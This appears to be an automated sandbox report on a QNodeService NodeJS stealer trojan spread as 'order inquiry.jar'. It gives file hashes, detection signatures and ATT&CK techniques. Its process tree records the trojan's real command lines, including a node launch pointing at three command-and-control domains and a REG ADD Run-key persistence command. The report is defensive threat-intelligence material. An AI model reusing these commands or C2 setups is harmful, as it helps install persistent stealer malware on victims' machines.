qnodeservice | 82785f7db62e9cabf47231d0fe34699459c74ec9d1386f09f97254465c4ce1cd

General

Target

order inquiry.jar
Size

13KB
MD5

c1dae1cfd76817255cb7836927d6c85b
SHA1

2b9d4d3f6d0d599cff72f721f845278a2b791d27
SHA256

82785f7db62e9cabf47231d0fe34699459c74ec9d1386f09f97254465c4ce1cd
SHA512

6c0cb3476d25c497f9cae09a5fb27014ebabd8a860203b8867cf027fea466212e4af0d5c9058d9cb16cbd05c6b78b092f15982de40673c997871ce5b6aee3d84

Score

10^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
60	node.exe
1604	node.exe

Loads dropped DLL 4 IoCs

pid	Process
1604	node.exe
1604	node.exe
1604	node.exe
1604	node.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1604	node.exe
1604	node.exe

QNodeService NodeJS Trojan 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001bff2-117.dat	family_qnodeservice

QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3888 wrote to memory of 60	3888	java.exe	68
PID 3888 wrote to memory of 60	3888	java.exe	68
PID 60 wrote to memory of 1400	60	node.exe	69
PID 60 wrote to memory of 1400	60	node.exe	69
PID 1400 wrote to memory of 1480	1400	cmd.exe	70
PID 1400 wrote to memory of 1480	1400	cmd.exe	70
PID 60 wrote to memory of 1604	60	node.exe	71
PID 60 wrote to memory of 1604	60	node.exe	71

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-f925e117 = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-f925e117.cmd\""	reg.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	wtfismyip.com
8	wtfismyip.com

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\order inquiry.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3888
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://minecroft.duckdns.org --central-base-url https://minekroft.duckdns.org --central-base-url https://minecroft.hopto.org
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:60
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-f925e117" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-f925e117.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1400
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-f925e117" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-f925e117.cmd\""
      4⤵
      Adds Run entry to start application
      PID:1480
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://minecroft.duckdns.org --central-base-url https://minekroft.duckdns.org --central-base-url https://minecroft.hopto.org
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Checks processor information in registry
    PID:1604

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/60-116-0x0000027FEA400000-0x0000027FEA401000-memory.dmp

Filesize
4KB

Download
memory/1604-122-0x000000F64E600000-0x000000F64E601000-memory.dmp

Filesize
4KB

Download

Analysis

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